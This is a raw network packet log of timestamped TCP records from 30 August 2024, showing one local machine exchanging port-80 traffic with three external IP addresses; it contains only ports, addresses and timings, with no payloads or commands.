Aug 30, 2024 03:17:06.464859009 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464862108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464874029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464884996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464886904 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464899063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.464900970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464922905 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464940071 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.464975119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465008974 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465013981 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465044975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465212107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465221882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465231895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465250015 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465256929 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465265989 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465267897 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465279102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465290070 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465293884 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465301037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465312004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465313911 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465322018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465336084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465346098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465349913 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465357065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465367079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465379953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465406895 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465459108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465473890 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465483904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465496063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465496063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465507984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.465518951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.465545893 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469422102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469443083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469454050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469507933 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469521999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469541073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469558001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469568014 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469568968 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469579935 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469595909 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469629049 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469686031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469702005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469712019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469723940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469734907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469736099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469748974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469775915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469783068 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469794035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469804049 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469819069 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469845057 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.469861984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469871998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469880104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469892979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469904900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469907999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.469918966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.469938040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.469938993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469957113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.469986916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.469995022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.469997883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470010042 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470021963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470031977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470035076 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470055103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470060110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470072031 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470094919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470187902 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470199108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470210075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470221043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470227957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470235109 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470257044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470258951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470268011 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470274925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470283985 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470294952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470304966 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470323086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470330000 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470334053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470349073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470361948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.470371962 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470381975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470402002 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.470454931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470496893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.470756054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470777035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470819950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.470848083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470886946 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.470886946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470899105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470911026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.470935106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.470957994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.471503973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471515894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471525908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471565962 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.471596003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.471889973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471909046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471920967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471931934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.471959114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.471983910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.472476006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.472506046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.472517014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.472553015 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.472579002 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.475085974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.478887081 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.486551046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486589909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486598969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486602068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486630917 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486668110 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486680031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486690044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486701965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486716986 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486735106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486782074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486793041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486804008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486815929 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.486820936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486852884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.486881018 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487013102 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487070084 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487087965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487098932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487134933 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487169027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487202883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487214088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487251043 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487279892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487318039 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487334967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487346888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487373114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487380028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487389088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487391949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487425089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487518072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487545967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487556934 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487584114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487592936 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487662077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487673998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487684011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487695932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487703085 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487710953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487730980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487838984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487852097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487863064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487874031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487879992 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487885952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487904072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487907887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487916946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487926960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.487931013 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487951040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.487977982 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488289118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488317013 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488327980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488358974 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488369942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488430977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488441944 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488452911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488468885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488468885 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488506079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488513947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488513947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488526106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488552094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488567114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488655090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488667011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488702059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488735914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488748074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488758087 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488770008 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488780975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488780975 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488794088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.488796949 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488818884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.488845110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491497040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491508007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491523981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491533041 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491542101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491558075 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491594076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491605997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491616011 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491631985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491641045 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491645098 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491657019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491663933 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491687059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491709948 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491733074 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491744995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491761923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491775990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491786957 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491789103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491801977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491812944 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491816998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.491827011 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.491854906 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492162943 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492203951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492208958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492225885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492261887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492289066 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492322922 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492326021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492336035 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492355108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492364883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492387056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492398024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492434025 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492444992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492484093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492655993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492666960 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492676973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492697001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492702961 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492712975 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492744923 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492789030 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492800951 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492814064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492825031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492836952 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.492836952 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492860079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.492872953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493067026 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493113995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493124962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493155003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493159056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493176937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493190050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493200064 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493202925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493216038 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493223906 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493238926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493246078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.493257046 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.493275881 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.507633924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.507647038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.507668018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.507679939 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.507683039 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.507694960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.507698059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.507730961 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.518152952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.518511057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.551664114 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551676989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551687002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551728010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551748037 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551851988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551862001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551872015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551893950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551893950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551914930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551922083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551925898 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551934958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551944971 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551959991 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551970959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551971912 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.551980019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.551991940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.552002907 CEST	49735	80	192.168.2.4	31.41.244.9
